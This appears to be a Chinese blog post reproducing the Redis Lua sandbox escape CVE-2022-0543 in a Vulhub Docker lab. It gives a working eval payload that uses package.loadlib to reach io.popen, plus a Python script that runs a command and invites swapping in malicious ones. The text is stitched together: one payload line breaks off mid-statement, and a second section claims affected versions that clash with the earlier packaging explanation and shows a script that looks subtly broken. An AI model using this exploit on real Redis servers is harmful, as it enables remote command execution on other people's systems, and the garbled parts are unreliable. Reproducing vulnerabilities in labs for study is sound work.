Redis 沙盒逃逸漏洞复现(CVE-2022-0543)

Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令。

Lua是由C编写的,上面的话就是说我们可以直接调用一个变量然后操作io库进行任意执行。但是要实现CVE-2022--0543复现首先redis得有未授权访问漏洞或者我们已经通过一些手段进入了redis。

值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在我们Vulhub环境(Ubuntu fiocal)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。

查找 liblua5.1.so.0 文件命令:

find / -name liblua*.*


拉取实验环境的容器

下载镜像

docker pull vulhub/redis:5.0.7

启动容器

docker run --name vul-redis-5.0.7 -p 6378:6379 -d vulhub/redis:5.0.7

执行语句

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io

### CVE-2022-0543 漏洞详情 CVE-2022-0543Redis 中的一个逃逸漏洞,允许攻击者通过特定的 Lua 脚本执行任意系统命令。Redis 使用 Lua 解释器来处理脚本操作,默认情况下启用了安全机制以防止潜在危险的操作。然而,在某些配置下,该可以被绕过,从而导致严重的安全隐患。 #### 影响版本 受影响的主要版本包括但不限于 Redis 版本 6.x 和部分 7.x 的早期版本[^2]。 ### 复现环境搭建 为了成功复现漏洞,需准备如下条件: - 安装并运行易受攻击版本的 Redis 实例。 - 配置 Redis 不带任何身份验证措施(即禁用密码保护),以便于测试过程中不受阻碍地连接到服务器。 - 准备好能够发送自定义请求的客户端工具或编写相应的 Python/Shell 脚本来模拟攻击行为。 ### 漏洞利用过程 下面是一个简单的 Python 脚本用于展示如何触发这个漏洞: ```python import redis def exploit_redis(): r = redis.Redis(host='localhost', port=6379, db=0) payload = ''' eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 ''' result = r.execute_command(payload) print(result.decode()) if __name__ == '__main__': exploit_redis() ``` 上述代码尝试加载外部库 `liblua5.1.so` 并调用其中的方法打开管道执行 Linux 命令 `id` 来获取当前用户的 UID/GID 信息作为演示目的。实际应用中可以根据需求替换为其他恶意指令。 请注意,以上内容仅限学习研究用途,请勿非法入侵他人计算机信息系统!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值